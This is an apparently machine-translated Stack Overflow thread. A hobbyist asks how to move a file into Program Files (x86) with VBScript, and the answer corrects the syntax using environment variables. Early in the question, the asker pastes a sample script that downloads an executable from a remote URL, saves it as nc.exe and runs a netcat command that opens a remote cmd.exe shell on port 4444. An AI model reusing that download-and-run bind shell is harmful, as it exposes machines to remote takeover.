VBScript目标中的移动命令已被更改为下载到(x86)的程序文件(x86)

时间:2018-07-04 18:30:55

标签: vbscript

请保留所有答复。刚刚发现了一些东西。

dim http_obj
dim stream_obj
dim shell_obj

set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")

URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading

http_obj.open "GET", URL, False
http_obj.send

stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2

shell_obj.run RUNCMD

因此,我的许多vb行及其将打开(或不打开)的字符串当前都有一个vbs,该vbs打开一个url以下载内容并说明保存位置,然后从下载文件夹移至程序(x86),但似乎我找到了一些可以将文件下载到(x86)的文件。我将看到下载到特殊文件夹所需的内容。

我知道我的下一个挣扎将是让vbs等待。

在剂量中

start/wait drive:\path\file.exe

等待安装完成,然后再继续执行下一个任务。

Set WshShell = WScript.CreateObject("Wscript.Shell")
MsgBox "1:1"
Sub2
Sub3
Sub Sub2()
    WshShell.Run "cscript //nologo Sub2.vbs", 1, True
End Sub
Sub Sub3()
    WshShell.Run "cscript //nologo Sub3.vbs", 1, True
End Sub

让我创建了许多vbs文件以便按顺序运行,但尚未测试。因此,我不知道每个人是否都将等到程序完成安装,或者是否需要创建一个循环来查看exe是否仍在运行。

我确实有一个“ learning vbs”文件夹,其中包含要修改的示例。在学习和测试的过程中,我正在不断扩展。


由于错误,我无法将文件从桌面移动到程序文件(X86)

Set sh  = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")

Set fso = CreateObject("Scripting.FileSystemObject")
source      = fso.BuildPath(desktop, "file to move")
     'not sure if I need to add extension
destination = fso.BuildPath("Program Files (x86)", "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"

错误失配文件

如果我删除目标位置的程序文件(x86)周围的“”,

Set sh  = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")

Set fso = CreateObject("Scripting.FileSystemObject")
source      = fso.BuildPath(desktop, "file to move")
     'not sure if I need to add extension
destination = fso.BuildPath(Program Files (x86), "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"

我被弹出)错误。我想念什么?

编辑:来自下面的回复

正如已经指出的那样,程序文件(x86)= ...是无效的语法。变量名称不能包含空格,并且仅在声明数组变量时才允许使用括号。另外,SpecialFolders集合没有成员“ Program Files(x86)”。

展开相应的环境变量:

Set sh  = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")

fso.MoveFile src & "\*", dst & "\"

此外,您的命令尝试移动文件夹“要移动的文件”的内容。那是故意的吗?如果要移动文件“文件移动”,则必须将最后一条语句更改为fso.MoveFile src,dst和“ \”。

Also, your command tries to move the content of the folder "file to move"

我的评论:

否,“不确定要移动的文件”是“不确定我是否应包括扩展名”是文件名(即myfile.extension),而不是要移动的“文件夹”文件。该文件夹为“桌面”

desktop = sh.SpecialFolders("Desktop")

source      = fso.BuildPath(desktop, "file to move")
         'not sure if I need to add extension

我可以放

source      = fso.BuildPath(desktop, "file to move.extension")

我不是要找人为我编写代码。我之前曾尝试在vbs中的dos(即%userprofile%)中运行的%path%东西,并被卡住,以便查看

dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")

让我挠头。即使使用expand命令。

进行一些测试。将进行更新编辑。抱歉迟了回应。周末的爱好项目。

1 个答案:

答案 0 :(得分:1)

正如已经指出的那样,Program Files (x86) = ...是无效的语法。变量名称不能包含空格,并且仅在声明数组变量时才允许使用括号。另外,SpecialFolders collection没有成员"Program Files (x86)"

展开相应的环境变量:

Set sh  = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")

fso.MoveFile src & "\*", dst & "\"

此外,您的命令尝试移动文件夹“要移动的文件”的内容。那是故意的吗?如果要移动文件“要移动的文件”,则必须将最后一条语句更改为fso.MoveFile src, dst & "\"